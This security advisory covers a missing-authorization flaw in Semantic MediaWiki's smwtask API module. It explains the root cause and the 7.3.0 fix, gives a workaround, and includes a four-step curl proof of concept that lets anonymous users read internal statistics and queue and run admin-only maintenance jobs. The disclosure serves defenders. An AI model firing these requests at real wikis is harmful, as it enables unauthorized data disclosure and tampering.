Semantic MediaWiki Missing Authorization in smwtask API Module
Any anonymous visitor can call the Semantic MediaWiki smwtask API endpoint to read internal database statistics and trigger admin-only maintenance jobs, because the module never checks whether the…
The problem
The action=smwtask API module in Semantic MediaWiki 3.0.0 through 7.2.1 performs no authorization check before executing tasks.
The web UI equivalent, Special:SMWAdmin, gates access with the smw-admin right. The API module bypasses that entirely. needsToken('csrf') is not a substitute: MediaWiki hands anonymous users a fixed public CSRF token (+\), so the token check is trivially satisfied by any unauthenticated HTTP request.
Exposed tasks include table-statistics and duplicate-lookup (internal store statistics, object-ID enumeration), insert-job (enqueue any SMW maintenance job for any title), and run-joblist (pop and execute queued jobs synchronously inside the request). The insert-job + smw.entityIdDisposer combination can target specific internal object IDs disclosed by the read tasks, reaching data-integrity impact beyond mere information disclosure.
Proof of concept
A working proof-of-concept for this issue in mediawiki/semantic-media-wiki, with the exact payload below.
# Step 1: grab the anonymous CSRF token (always "+\"").
curl -s 'https://HOST/api.php?action=query&meta=tokens&type=csrf&format=json'
# -> {"query":{"tokens":{"csrftoken":"+\\"}}}
# Step 2: read internal database statistics — no login, HTTP 200 + data.
curl -s -X POST 'https://HOST/api.php' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-raw 'action=smwtask&task=table-statistics¶ms={}&token=%2B%5C&format=json'
# -> {"task":{"list":{"smw_object_ids":{"total_row_count":49,"last_id":516,...}}}}
# Step 3: enqueue an admin-only maintenance job (state-changing).
curl -s -X POST 'https://HOST/api.php' \
--data-urlencode 'action=smwtask' \
--data-urlencode 'task=insert-job' \
--data-urlencode 'params={"subject":"Main_Page#0##","job":"smw.fulltextSearchTableRebuild","parameters":{"mode":"full"}}' \
--data-urlencode 'token=+\' \
--data-urlencode 'format=json'
# -> {"task":{"done":""}}
# Step 4: execute queued jobs synchronously inside this anonymous request.
curl -s -X POST 'https://HOST/api.php' \
--data-urlencode 'action=smwtask' \
--data-urlencode 'task=run-joblist' \
--data-urlencode 'params={"subject":"Main_Page#0##","jobs":{"smw.fulltextSearchTableRebuild":1}}' \
--data-urlencode 'token=+\' \
--data-urlencode 'format=json'
# -> {"task":{"done":"","log":{"smw.fulltextSearchTableRebuild":["Main_Page"]}}}Root cause is CWE-862 (Missing Authorization): SMW\MediaWiki\Api\Task::execute() in src/MediaWiki/Api/Task.php resolved and ran tasks with no call to checkUserRightsAny() or any equivalent guard.
The fix (shipped in 7.3.0) adds a per-task rights declaration. The module reads that declared right and calls checkUserRightsAny() before dispatching. Administrative tasks now require smw-admin, insert-job and update require edit, and run-entity-examiner requires read.
Any caller without the necessary right receives a MediaWiki API permissions error before the task runs.
The anonymous CSRF token (+\) was never a security gate: MediaWiki issues it to all unauthenticated callers by design, as a defense against CSRF for logged-in users only. Relying on it for authorization is a known anti-pattern in MediaWiki extension development.
The fix
Upgrade to Semantic MediaWiki 7.3.0 or later. If you cannot upgrade immediately, disable the endpoint entirely by adding the following to LocalSettings.php:
``php $wgExtensionFunctions[] = static function () { unset( $GLOBALS['wgAPIModules']['smwtask'] ); }; ` This removes the module from the API registry so requests to action=smwtask` return an unknown-action error.
Related research
- high · 8.6CVE-2025-61682CVE-2025-61682: Semantic MediaWiki Stored XSS via data-subtab Attribute
- high · 9.1CVE-2026-75837CVE-2026-75837: Grav Group Blueprint Missing Authorization Allows Privilege Escalation to Super-Admin
- high · 8.8CVE-2026-56828CVE-2026-56828: shopper/framework Privilege Escalation via Livewire Misconfigured Authorization
- high · 8.1CVE-2026-56829CVE-2026-56829: Shopper VariantStock Missing Authorization